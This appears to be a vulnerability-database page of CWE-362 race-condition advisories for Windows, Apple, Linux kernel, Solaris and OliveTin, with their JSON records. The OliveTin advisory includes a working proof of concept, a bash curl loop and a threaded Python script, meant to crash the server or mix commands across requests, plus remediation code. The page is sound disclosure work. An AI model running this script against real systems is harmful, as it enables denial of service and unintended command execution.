Common Weakness Enumeration

CWE-362

Allowed-with-Review

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

2900 vulnerabilities reference this CWE, most recent first.

GHSA-7CVG-QPVM-QWGV

Vulnerability from github – Published: 2026-04-14 18:30 – Updated: 2026-04-14 18:30
VLAI
Details

Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Brokering File System allows an unauthorized attacker to elevate privileges locally.

Severity
8.4 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-32091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-14T18:17:14Z",
    "severity": "HIGH"
  },
  "details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Microsoft Brokering File System allows an unauthorized attacker to elevate privileges locally.",
  "id": "GHSA-7cvg-qpvm-qwgv",
  "modified": "2026-04-14T18:30:40Z",
  "published": "2026-04-14T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32091"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FGH-FC7P-P7V5

Vulnerability from github – Published: 2022-05-13 01:52 – Updated: 2022-05-13 01:52
VLAI
Details

An issue was discovered in certain Apple products. iOS before 11.3 is affected. macOS before 10.13.4 is affected. The issue involves the "Storage" component. A race condition allows attackers to execute arbitrary code in a privileged context via a crafted app.

Severity
7.0 (High)
CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-4154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-03T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in certain Apple products. iOS before 11.3 is affected. macOS before 10.13.4 is affected. The issue involves the \"Storage\" component. A race condition allows attackers to execute arbitrary code in a privileged context via a crafted app.",
  "id": "GHSA-7fgh-fc7p-p7v5",
  "modified": "2022-05-13T01:52:38Z",
  "published": "2022-05-13T01:52:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-4154"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208692"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT208693"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103581"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105273"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040604"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1040608"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FGW-X92P-MJ94

Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30
VLAI
Details

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DirectX allows an authorized attacker to deny service over a network.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-60723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T18:15:40Z",
    "severity": "MODERATE"
  },
  "details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Windows DirectX allows an authorized attacker to deny service over a network.",
  "id": "GHSA-7fgw-x92p-mj94",
  "modified": "2025-11-11T18:30:22Z",
  "published": "2025-11-11T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60723"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-60723"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FH7-RM8F-WJ9X

Vulnerability from github – Published: 2025-10-07 18:31 – Updated: 2026-02-05 15:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

gfs2: Fix possible data races in gfs2_show_options()

Some fields such as gt_logd_secs of the struct gfs2_tune are accessed without holding the lock gt_spin in gfs2_show_options():

val = sdp->sd_tune.gt_logd_secs; if (val != 30) seq_printf(s, ",commit=%d", val);

And thus can cause data races when gfs2_show_options() and other functions such as gfs2_reconfigure() are concurrently executed:

spin_lock(&gt->gt_spin); gt->gt_logd_secs = newargs->ar_commit;

To fix these possible data races, the lock sdp->sd_tune.gt_spin is acquired before accessing the fields of gfs2_tune and released after these accesses.

Further changes by Andreas:

  • Don't hold the spin lock over the seq_printf operations.
Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-07T16:15:44Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ngfs2: Fix possible data races in gfs2_show_options()\n\nSome fields such as gt_logd_secs of the struct gfs2_tune are accessed\nwithout holding the lock gt_spin in gfs2_show_options():\n\n  val = sdp-\u003esd_tune.gt_logd_secs;\n  if (val != 30)\n    seq_printf(s, \",commit=%d\", val);\n\nAnd thus can cause data races when gfs2_show_options() and other functions\nsuch as gfs2_reconfigure() are concurrently executed:\n\n  spin_lock(\u0026gt-\u003egt_spin);\n  gt-\u003egt_logd_secs = newargs-\u003ear_commit;\n\nTo fix these possible data races, the lock sdp-\u003esd_tune.gt_spin is\nacquired before accessing the fields of gfs2_tune and released after these\naccesses.\n\nFurther changes by Andreas:\n\n- Don\u0027t hold the spin lock over the seq_printf operations.",
  "id": "GHSA-7fh7-rm8f-wj9x",
  "modified": "2026-02-05T15:31:08Z",
  "published": "2025-10-07T18:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53622"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/235a5ae73cea29109a3e06f100493f17857e6a93"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/42077d4de49e4d9c773c97c42d5383b4899a8f9d"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6fa0a72cbbe45db4ed967a51f9e6f4e3afe61d20"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7c5b2649f6a37d45bfb7abf34c9b71d08677139f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/7e5bbeb7eb813bb2568e1d5d02587df943272e57"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/85e888150075cb221270b64bf772341fc6bd11d9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a4f71523ed2123d63b431cc0cea4e9f363a0f054"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b4a7ab57effbed42624842f2ab2a49b177c21a47"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FM3-3CQW-X6WJ

Vulnerability from github – Published: 2024-06-19 15:30 – Updated: 2026-05-12 12:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

af_unix: Fix data races in unix_release_sock/unix_stream_sendmsg

A data-race condition has been identified in af_unix. In one data path, the write function unix_release_sock() atomically writes to sk->sk_shutdown using WRITE_ONCE. However, on the reader side, unix_stream_sendmsg() does not read it atomically. Consequently, this issue is causing the following KCSAN splat to occur:

BUG: KCSAN: data-race in unix_release_sock / unix_stream_sendmsg

write (marked) to 0xffff88867256ddbb of 1 bytes by task 7270 on cpu 28:
unix_release_sock (net/unix/af_unix.c:640)
unix_release (net/unix/af_unix.c:1050)
sock_close (net/socket.c:659 net/socket.c:1421)
__fput (fs/file_table.c:422)
__fput_sync (fs/file_table.c:508)
__se_sys_close (fs/open.c:1559 fs/open.c:1541)
__x64_sys_close (fs/open.c:1541)
x64_sys_call (arch/x86/entry/syscall_64.c:33)
do_syscall_64 (arch/x86/entry/common.c:?)
entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)

read to 0xffff88867256ddbb of 1 bytes by task 989 on cpu 14:
unix_stream_sendmsg (net/unix/af_unix.c:2273)
__sock_sendmsg (net/socket.c:730 net/socket.c:745)
____sys_sendmsg (net/socket.c:2584)
__sys_sendmmsg (net/socket.c:2638 net/socket.c:2724)
__x64_sys_sendmmsg (net/socket.c:2753 net/socket.c:2750 net/socket.c:2750)
x64_sys_call (arch/x86/entry/syscall_64.c:33)
do_syscall_64 (arch/x86/entry/common.c:?)
entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)

value changed: 0x01 -> 0x03

The line numbers are related to commit dd5a440a31fa ("Linux 6.9-rc7").

Commit e1d09c2c2f57 ("af_unix: Fix data races around sk->sk_shutdown.") addressed a comparable issue in the past regarding sk->sk_shutdown. However, it overlooked resolving this particular data path. This patch only offending unix_stream_sendmsg() function, since the other reads seem to be protected by unix_state_lock() as discussed in

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-19T14:15:19Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: Fix data races in unix_release_sock/unix_stream_sendmsg\n\nA data-race condition has been identified in af_unix. In one data path,\nthe write function unix_release_sock() atomically writes to\nsk-\u003esk_shutdown using WRITE_ONCE. However, on the reader side,\nunix_stream_sendmsg() does not read it atomically. Consequently, this\nissue is causing the following KCSAN splat to occur:\n\n\tBUG: KCSAN: data-race in unix_release_sock / unix_stream_sendmsg\n\n\twrite (marked) to 0xffff88867256ddbb of 1 bytes by task 7270 on cpu 28:\n\tunix_release_sock (net/unix/af_unix.c:640)\n\tunix_release (net/unix/af_unix.c:1050)\n\tsock_close (net/socket.c:659 net/socket.c:1421)\n\t__fput (fs/file_table.c:422)\n\t__fput_sync (fs/file_table.c:508)\n\t__se_sys_close (fs/open.c:1559 fs/open.c:1541)\n\t__x64_sys_close (fs/open.c:1541)\n\tx64_sys_call (arch/x86/entry/syscall_64.c:33)\n\tdo_syscall_64 (arch/x86/entry/common.c:?)\n\tentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\n\tread to 0xffff88867256ddbb of 1 bytes by task 989 on cpu 14:\n\tunix_stream_sendmsg (net/unix/af_unix.c:2273)\n\t__sock_sendmsg (net/socket.c:730 net/socket.c:745)\n\t____sys_sendmsg (net/socket.c:2584)\n\t__sys_sendmmsg (net/socket.c:2638 net/socket.c:2724)\n\t__x64_sys_sendmmsg (net/socket.c:2753 net/socket.c:2750 net/socket.c:2750)\n\tx64_sys_call (arch/x86/entry/syscall_64.c:33)\n\tdo_syscall_64 (arch/x86/entry/common.c:?)\n\tentry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n\n\tvalue changed: 0x01 -\u003e 0x03\n\nThe line numbers are related to commit dd5a440a31fa (\"Linux 6.9-rc7\").\n\nCommit e1d09c2c2f57 (\"af_unix: Fix data races around sk-\u003esk_shutdown.\")\naddressed a comparable issue in the past regarding sk-\u003esk_shutdown.\nHowever, it overlooked resolving this particular data path.\nThis patch only offending unix_stream_sendmsg() function, since the\nother reads seem to be protected by unix_state_lock() as discussed in",
  "id": "GHSA-7fm3-3cqw-x6wj",
  "modified": "2026-05-12T12:31:56Z",
  "published": "2024-06-19T15:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38596"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0688d4e499bee3f2749bca27329bd128686230cb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4d51845d734a4c5d079e56e0916f936a55e15055"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/540bf24fba16b88c1b3b9353927204b4f1074e25"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8299e4d778f664b31b67cf4cf3d5409de2ecb92c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9aa8773abfa0e954136875b4cbf2df4cf638e8a5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a4c88072abcaca593cefe70f90e9d3707526e8f9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a52fa2addfcccc2c5a0217fd45562605088c018b"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/de6641d213373fbde9bbdd7c4b552254bc9f82fe"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/fca6072e1a7b1e709ada5604b951513b89b4bd0a"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FMF-H6VH-QP27

Vulnerability from github – Published: 2025-03-27 18:31 – Updated: 2025-04-15 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

l2tp: close all race conditions in l2tp_tunnel_register()

The code in l2tp_tunnel_register() is racy in several ways:

  1. It modifies the tunnel socket after publishing it.

  2. It calls setup_udp_tunnel_sock() on an existing socket without locking.

  3. It changes sock lock class on fly, which triggers many syzbot reports.

This patch amends all of them by moving socket initialization code before publishing and under sock lock. As suggested by Jakub, the l2tp lockdep class is not necessary as we can just switch to bh_lock_sock_nested().

Severity
4.7 (Medium)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53020"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-27T17:15:51Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nl2tp: close all race conditions in l2tp_tunnel_register()\n\nThe code in l2tp_tunnel_register() is racy in several ways:\n\n1. It modifies the tunnel socket _after_ publishing it.\n\n2. It calls setup_udp_tunnel_sock() on an existing socket without\n   locking.\n\n3. It changes sock lock class on fly, which triggers many syzbot\n   reports.\n\nThis patch amends all of them by moving socket initialization code\nbefore publishing and under sock lock. As suggested by Jakub, the\nl2tp lockdep class is not necessary as we can just switch to\nbh_lock_sock_nested().",
  "id": "GHSA-7fmf-h6vh-qp27",
  "modified": "2025-04-15T21:31:30Z",
  "published": "2025-03-27T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53020"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0b2c59720e65885a394a017d0cf9cab118914682"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2d77e5c0ad79004b5ef901895437e9cce6dfcc7e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/77e8ed776cdb1a24b2aab8fe7c6f1f154235e1ce"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/cef0845b6dcfa2f6c2c832e7f9622551456c741d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7FMV-J8G9-PP43

Vulnerability from github – Published: 2022-05-01 23:42 – Updated: 2022-05-01 23:42
VLAI
Details

inetd on Sun Solaris 10, when debug logging is enabled, allows local users to write to arbitrary files via a symlink attack on the /var/tmp/inetd.log temporary file.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-1684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-04-06T23:44:00Z",
    "severity": "MODERATE"
  },
  "details": "inetd on Sun Solaris 10, when debug logging is enabled, allows local users to write to arbitrary files via a symlink attack on the /var/tmp/inetd.log temporary file.",
  "id": "GHSA-7fmv-j8g9-pp43",
  "modified": "2022-05-01T23:42:27Z",
  "published": "2022-05-01T23:42:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1684"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41626"
    },
    {
      "type": "WEB",
      "url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5369"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29654"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1019781"
    },
    {
      "type": "WEB",
      "url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-233284-1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28584"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1076"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7FQ5-7WR8-RJWJ

Vulnerability from github – Published: 2026-06-24 17:38 – Updated: 2026-06-24 17:38
VLAI
Summary
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
Details

Summary

OliveTin's template engine uses a single shared text/template.Template instance (tpl package-level variable in service/internal/tpl/templates.go) across all goroutines. Every action execution calls tpl.Parse(source) followed by t.Execute() on this shared instance with no synchronization. When two or more actions execute concurrently (which is the normal case — each ExecRequest spawns a goroutine), a race condition occurs: one goroutine's Parse overwrites the template tree while another goroutine is calling Execute, causing:

  1. Cross-user command contamination: User A's arguments rendered in User B's shell command template
  2. Go runtime panic: Concurrent map writes in Go's text/template internal structures cause a fatal crash
  3. Incorrect command execution: Template/argument mismatch produces unexpected or dangerous shell commands

CWE

  • CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization)
  • CWE-567 (Unsynchronized Access to Shared Data in a Multithreaded Context)

Affected Versions

  • All versions (the shared template has existed since the template system was introduced)

Details

The Shared Template Instance

In service/internal/tpl/templates.go:

var tpl = template.New("tpl").
    Option("missingkey=error").
    Funcs(template.FuncMap{"Json": jsonFunc})

This is a package-level variable — a single *template.Template shared across the entire process.

Unsafe Parse + Execute Pattern

The parseTemplate function is called for every template rendering:

func parseTemplate(source string, data any) (string, error) {
    t, err := tpl.Parse(source)   // Modifies shared tpl's internal Tree
    if err != nil {
        return "", err
    }

    var sb strings.Builder
    err = t.Execute(&sb, data)    // Reads from tpl's internal Tree
    // ...
}

Critical: tpl.Parse(source) returns the same pointer as tpl (Go's template.Parse modifies the receiver and returns it). So t and tpl are the same object. When two goroutines call parseTemplate concurrently:

Goroutine A (Action "echo {{ .Arguments.name }}"):
  1. tpl.Parse("echo {{ .Arguments.name }}")     → sets tpl.Tree = TreeA
  2. t.Execute(&sb, {Arguments: {"name": "safe"}}) → walks TreeA

Goroutine B (Action "rm -rf {{ .Arguments.path }}"):
  1. tpl.Parse("rm -rf {{ .Arguments.path }}")   → sets tpl.Tree = TreeB
  2. t.Execute(&sb, {Arguments: {"path": "/tmp"}}) → walks TreeB

If the goroutines interleave:

  A.Parse(TreeA) → B.Parse(TreeB) → A.Execute(dataA) → executes TreeB with dataA!

Goroutine A would execute rm -rf {{ .Arguments.path }} with dataA — which either errors (missing key) or, if dataA happens to have a path argument, executes with an unintended value.

No Synchronization Exists

A search for any synchronization primitives in the tpl package confirms zero mutex, lock, or atomic operations:

$ grep -r "sync\.\|Mutex\|Lock\|mutex" service/internal/tpl/
(no results)

Concurrent Goroutine Confirmation

In service/internal/executor/executor.go, ExecRequest launches each action in a new goroutine:

func (e *Executor) ExecRequest(req *ExecutionRequest) (*sync.WaitGroup, string) {
    // ...
    go func() {
        e.execChain(req)    // Calls stepParseArgs → ParseTemplateWithActionContext → parseTemplate
        defer wg.Done()
    }()
    return wg, req.TrackingID
}

The execution chain includes stepParseArgs, which calls ParseTemplateWithActionContext, which calls parseTemplate. Multiple concurrent action executions will race on the shared tpl variable.

Go Runtime Crash Vector

Go's text/template.Parse internally modifies the template's common struct, which contains a tmpl map[string]*Template. In Go, concurrent map writes cause an unrecoverable fatal error:

fatal error: concurrent map writes
goroutine X [running]:
runtime.throw(...)

This is not a panic that can be recovered — it terminates the entire process. Two concurrent Parse calls can trigger this, crashing OliveTin.

Template Contamination Vector

Even without a crash, the race can produce dangerous results:

  1. User A triggers action: shell: "echo Hello {{ .Arguments.name }}" with name=Alice
  2. User B triggers action: shell: "sudo systemctl restart {{ .Arguments.service }}" with service=nginx
  3. Race occurs: User A's Execute runs on User B's parsed template
  4. If User A's arguments contain a service key, that value is substituted into sudo systemctl restart {{ .Arguments.service }}
  5. If User A's arguments do NOT contain service, missingkey=error causes an error — but only AFTER the template was already partially evaluated

Call Chain

API Request → ExecRequest (goroutine) → execChain → stepParseArgs
  → ParseTemplateWithActionContext → parseTemplate → tpl.Parse(source) + t.Execute(data)
                                                      ↑ RACE CONDITION ↑
                                                  (shared tpl variable)

PoC

Prerequisites

  • OliveTin instance with at least 2 configured actions
  • Ability to trigger concurrent action executions

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false

actions:
  - title: Safe Echo
    id: safe-echo
    shell: "echo 'Hello {{ .Arguments.name }}'"
    arguments:
      - name: name
        type: ascii

  - title: File Delete
    id: file-delete
    shell: "rm -f /tmp/{{ .Arguments.target }}"
    arguments:
      - name: target
        type: ascii_identifier

Step 1: Trigger concurrent executions

#!/bin/bash
# Fire 50 concurrent requests to maximize race window
for i in $(seq 1 50); do
  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"safe-echo","arguments":[{"name":"name","value":"Alice"}]}' &

  curl -s -X POST http://127.0.0.1:1337/api/StartAction \
    -H 'Content-Type: application/json' \
    -d '{"bindingId":"file-delete","arguments":[{"name":"target","value":"test"}]}' &
done
wait
echo "All requests sent"

Step 2: Check for crash

# If OliveTin crashed due to concurrent map writes:
curl -s http://127.0.0.1:1337/readyz
# Expected: Connection refused (process crashed)

Step 3: Check logs for contamination

# Look for mismatched template executions in the OliveTin logs
grep -E "missingkey|Error executing template|concurrent" /var/log/olivetin.log

Python PoC — Race Trigger

#!/usr/bin/env python3
"""PoC: Template Race Condition — Cross-Request Contamination

Triggers concurrent action executions to race on the shared
text/template instance in service/internal/tpl/templates.go.

Expected outcomes:
1. Go fatal error: concurrent map writes (process crash)
2. Template error: map has no entry for key (cross-contamination detected)
3. Silent contamination: arguments rendered in wrong template
"""

import requests
import threading
import time

TARGET = "http://127.0.0.1:1337"
THREADS = 20
ITERATIONS = 100

crash_detected = threading.Event()
errors_detected = []

def fire_action_a():
    """Trigger 'safe-echo' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "safe-echo",
                    "arguments": [{"name": "name", "value": "Alice"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action A error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action A exception: {e}")

def fire_action_b():
    """Trigger 'file-delete' action repeatedly."""
    for _ in range(ITERATIONS):
        if crash_detected.is_set():
            break
        try:
            resp = requests.post(
                f"{TARGET}/api/StartAction",
                json={
                    "bindingId": "file-delete",
                    "arguments": [{"name": "target", "value": "test"}]
                },
                headers={"Content-Type": "application/json"},
                timeout=5
            )
            if resp.status_code != 200:
                errors_detected.append(f"Action B error: {resp.status_code} {resp.text}")
        except requests.exceptions.ConnectionError:
            crash_detected.set()
            errors_detected.append("CONNECTION REFUSED — Server likely crashed!")
            break
        except Exception as e:
            errors_detected.append(f"Action B exception: {e}")

if __name__ == "__main__":
    print(f"[*] Launching {THREADS * 2} threads, {ITERATIONS} iterations each")
    print(f"[*] Target: {TARGET}")

    threads = []
    for _ in range(THREADS):
        threads.append(threading.Thread(target=fire_action_a))
        threads.append(threading.Thread(target=fire_action_b))

    start = time.time()
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    elapsed = time.time() - start

    print(f"\n[*] Completed in {elapsed:.1f}s")
    print(f"[*] Total requests: {THREADS * 2 * ITERATIONS}")

    if crash_detected.is_set():
        print("[!] SERVER CRASH DETECTED — concurrent map write panic")
    if errors_detected:
        print(f"[!] {len(errors_detected)} errors detected:")
        for err in errors_detected[:10]:
            print(f"    - {err}")
    else:
        print("[*] No errors detected (race window may not have been hit)")
        print("[*] Try increasing THREADS/ITERATIONS or checking server logs")

Go Race Detector Verification

If you can run OliveTin with Go's race detector enabled:

cd service
go run -race . &
# Then trigger concurrent requests — the race detector will confirm the data race

Expected output:

WARNING: DATA RACE
  Write by goroutine X:
    text/template.(*Template).Parse()
    service/internal/tpl/templates.go:XX

  Previous read by goroutine Y:
    text/template.(*Template).Execute()
    service/internal/tpl/templates.go:XX

Impact

  • Process Crash (DoS): Concurrent map writes in Go cause an unrecoverable fatal error, crashing the entire OliveTin service
  • Cross-User Command Contamination: User A's arguments may be rendered in User B's shell command template, potentially executing commands with wrong/dangerous arguments
  • Privilege Escalation via Contamination: If a low-privilege user's arguments contaminate a high-privilege action's template, the result could be unintended command execution
  • Data Leakage: Arguments (which may contain secrets like passwords) could be rendered in another user's action output

Remediation

  1. Create a new template per parse call instead of reusing the package-level singleton: go func parseTemplate(source string, data any) (string, error) { t, err := template.New(""). Option("missingkey=error"). Funcs(template.FuncMap{"Json": jsonFunc}). Parse(source) if err != nil { return "", err } var sb strings.Builder err = t.Execute(&sb, data) // ... }

  2. Alternative: Use template.Must(tpl.Clone()) to create a thread-safe copy per call: go func parseTemplate(source string, data any) (string, error) { clone, _ := tpl.Clone() t, err := clone.Parse(source) // ... }

  3. Alternative: Add a mutex around parseTemplate (but this serializes all template rendering and hurts performance): go var tplMutex sync.Mutex func parseTemplate(source string, data any) (string, error) { tplMutex.Lock() defer tplMutex.Unlock() // ... }

Option 1 (new template per call) is the recommended fix — it's simple, safe, and has negligible performance impact.

Resources

  • Go text/template documentation: "A Template's Parse method must not be called concurrently"
  • CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization
  • service/internal/tpl/templates.go — shared tpl variable and parseTemplate function
  • service/internal/executor/executor.go — ExecRequest goroutine launch (line ~524)
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 0.0.0-20260521225117-d74da9314005-"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260521225117-d74da9314005"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-567"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-24T17:38:12Z",
    "nvd_published_at": "2026-06-15T21:17:15Z",
    "severity": "HIGH"
  },
